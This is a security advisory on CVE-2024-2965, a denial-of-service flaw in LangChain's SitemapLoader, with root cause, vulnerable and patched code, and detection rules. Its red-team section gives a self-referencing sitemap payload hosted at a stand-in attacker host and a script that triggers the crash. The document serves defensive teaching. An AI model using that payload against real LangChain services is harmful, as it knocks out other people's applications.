CVE-2024-2965

Executive Summary

CVE-2024-2965 is a Denial-of-Service (DoS) vulnerability in the SitemapLoader class of the langchain-ai/langchain repository, affecting all versions. The parse_sitemap method lacks a recursion guard, allowing an attacker to craft a sitemap that references itself, causing infinite recursion and a Python crash. This can exhaust server socket/port resources and crash the Python process, impacting availability. The vulnerability has a CVSS score of 4.2 (Medium) and no known public exploit or patch.

Supply Chain & Package Security

This vulnerability affects the langchain Python package, which is widely used in AI/LLM applications. Since it is a PyPI package, supply chain risks include:

• Dependency Confusion: Attackers could publish a malicious package with a similar name.
• Compromised Upstream: If the langchain repository is compromised, malicious code could be injected.
• Unpatched Versions: All versions are vulnerable, and no patch is available, increasing the risk for users who rely on this functionality.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): Low (L) – Service disruption is possible.

Threat Level: Medium. The vulnerability is easy to exploit but only causes a denial of service, not data loss or remote code execution.

Deep Dive & Mechanics

The SitemapLoader class in langchain is designed to parse sitemaps (XML files listing URLs) and extract links for document loading. The parse_sitemap method recursively processes sitemap URLs to fetch and parse nested sitemaps. However, it does not check if a sitemap URL points to itself, leading to infinite recursion.

Attack Flow:

1. An attacker hosts a malicious sitemap (e.g., http://attacker.com/sitemap.xml) that contains a <loc> element pointing to itself.
2. The attacker triggers the SitemapLoader to parse this sitemap (e.g., by providing the URL to a LangChain application).
3. The parse_sitemap method fetches the sitemap, finds the self-referencing URL, and recursively calls itself.
4. This recursion continues until Python’s maximum recursion depth is exceeded, crashing the process.

Root Cause: The parse_sitemap method does not maintain a set of visited URLs or a recursion depth limit.

Vulnerable vs. Patched Code

Vulnerable Code (All Versions):

def parse_sitemap(self, url: str) -> List[str]:
    # Fetch and parse sitemap
    soup = BeautifulSoup(requests.get(url).content, 'xml')
    urls = []
    for loc in soup.find_all('loc'):
        urls.append(loc.text)
    # Recursively process nested sitemaps
    for sitemap in soup.find_all('sitemap'):
        urls.extend(self.parse_sitemap(sitemap.loc.text))
    return urls

Patched Code (Hypothetical):

def parse_sitemap(self, url: str, visited: set = None) -> List[str]:
    if visited is None:
        visited = set()
    if url in visited:
        return []
    visited.add(url)
    # Fetch and parse sitemap
    soup = BeautifulSoup(requests.get(url).content, 'xml')
    urls = []
    for loc in soup.find_all('loc'):
        urls.append(loc.text)
    # Recursively process nested sitemaps
    for sitemap in soup.find_all('sitemap'):
        urls.extend(self.parse_sitemap(sitemap.loc.text, visited))
    return urls

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Create a malicious sitemap file (sitemap.xml) with self-referencing content:

   <?xml version="1.0" encoding="UTF-8"?>
   <sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
     <sitemap>
       <loc>http://attacker.com/sitemap.xml</loc>
     </sitemap>
   </sitemapindex>
   

2. Host the file on a web server (e.g., using Python’s http.server):

   python3 -m http.server 8080
   

3. Trigger the vulnerability by sending a request to a LangChain application that uses SitemapLoader:

   from langchain.document_loaders.sitemap import SitemapLoader
   loader = SitemapLoader("http://attacker.com:8080/sitemap.xml")
   loader.load()
   

Expected Outcome: The Python process crashes with a RecursionError.

Blue Team

Detection:

• Monitor for excessive recursion in Python processes (e.g., RecursionError logs).
• Watch for repeated requests to the same sitemap URL from the same source.
• Use network monitoring to detect sitemaps that reference themselves.

Mitigation:

• Implement a recursion depth limit in the SitemapLoader class.
• Use a set of visited URLs to prevent re-processing.
• Apply rate limiting to sitemap parsing requests.

Indicators of Compromise (IOCs)

• Network: Repeated HTTP requests to the same sitemap URL.
• Logs: Python RecursionError exceptions in application logs.
• Process: Python process crash due to maximum recursion depth exceeded.
• File: Malicious sitemap XML files with self-referencing <loc> elements.

Detection Engineering

YARA Rule

rule CVE_2024_2965_SitemapLoader_DoS {
    meta:
        description = "Detects self-referencing sitemap URLs in XML files"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-2965"
    strings:
        $sitemap = /<sitemap>\s*<loc>\s*http[s]?:\/\/[^<]+\/sitemap\.xml\s*<\/loc>\s*<\/sitemap>/ nocase
        $self_ref = /<loc>\s*http[s]?:\/\/[^<]+\/sitemap\.xml\s*<\/loc>.*<loc>\s*http[s]?:\/\/[^<]+\/sitemap\.xml\s*<\/loc>/ nocase
    condition:
        $sitemap and $self_ref
}

Sigma Rule

title: CVE-2024-2965 SitemapLoader DoS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects Python RecursionError indicating potential exploitation of CVE-2024-2965
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: python
detection:
    selection:
        EventID: 1000  # Example for Python crash
        Message|contains: "RecursionError"
    condition: selection
falsepositives:
    - Legitimate deep recursion in other Python code
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2965 SitemapLoader DoS - Self-Referencing Sitemap"; flow:to_server; content:"<sitemap>"; content:"<loc>"; content:"sitemap.xml"; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

• Disable or restrict the use of SitemapLoader in production environments.
• Implement a custom wrapper that limits recursion depth or uses a visited URL set.
• Apply rate limiting to sitemap parsing requests.

Long-Term Fix:

• Wait for an official patch from the langchain maintainers.
• Monitor the GitHub repository for updates.

Workaround:

• Use an alternative method to parse sitemaps that does not involve recursion.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.